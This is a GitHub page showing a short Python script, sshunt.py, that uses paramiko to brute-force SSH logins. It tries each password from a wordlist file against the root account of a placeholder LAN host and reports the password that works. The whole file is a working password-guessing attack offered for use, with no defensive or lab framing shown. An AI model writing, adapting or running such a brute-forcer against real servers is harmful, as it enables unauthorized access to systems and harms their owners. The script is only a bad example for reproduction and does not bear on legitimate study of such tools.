-
Notifications
You must be signed in to change notification settings - Fork 0
/
sshunt.py
43 lines (34 loc) · 1.31 KB
/
sshunt.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import paramiko
import time
def ssh_brute_force(host, port, username, password_list):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for password in password_list:
try:
print(f"[+] Trying password: {password}")
client.connect(host, port=port, username=username, password=password, timeout=3)
print(f"[SUCCESS] Password found: {password}")
return password
except paramiko.AuthenticationException:
print(f"[-] Wrong password: {password}")
except Exception as e:
print(f"[ERROR] {str(e)}")
time.sleep(1)
client.close()
print("[-] No valid password found in the list.")
return None
def load_password_list(filepath):
with open(filepath, "r") as file:
passwords = [line.strip() for line in file.readlines()]
return passwords
if __name__ == "__main__":
host = "192.168.1.X"
port = 22 # ssh port
username = "root"
password_file = "passwords.txt"
passwords = load_password_list(password_file)
result = ssh_brute_force(host, port, username, passwords)
if result:
print(f"[SUCCESS] SSH password found: {result}")
else:
print("[-] SSH brute-force failed.")